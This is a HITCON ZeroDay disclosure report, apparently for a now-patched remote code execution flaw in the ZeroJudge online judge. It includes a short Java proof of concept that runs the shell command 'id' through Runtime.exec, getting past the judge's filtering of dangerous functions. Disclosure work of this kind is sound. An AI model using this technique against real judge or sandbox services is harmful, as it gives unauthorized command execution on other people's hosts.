zerojudgeRCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-01184
  •  發信 Vendor: 高中生程式解題系統
  • Title: zerojudgeRCE
  • Introduction: 使用者可以利用程式進行遠端程式碼執行。
  • 感謝函

處理狀態

目前狀態

公開
Last Update : 2024/11/05
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2024/09/28 14:28:37 : 新提交 (由 viivie 更新此狀態)
  • 2024/09/28 14:30:01 : 新提交 (由 viivie 更新此狀態)
  • 2024/09/28 14:35:38 : 新提交 (由 viivie 更新此狀態)
  • 2024/10/07 10:41:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/10 16:02:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/10 16:02:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/28 11:07:39 : 已修補 (由 組織帳號 更新此狀態)
  • 2024/11/05 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-01184
  • 通報者:viivie (viivie)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://zerojudge.tw/

敘述

注意到有檔python的危險函式了,但java沒檔,打以下指令可實現RCE


import java.io.BufferedReader;
import java.io.InputStreamReader;

public class LSCommand {
    public static void main(String[] args) throws Exception {
        Process process = Runtime.getRuntime().exec("id");

        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            System.out.println(line);
        }
    }
}

修補建議

對java限制其危險函式

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;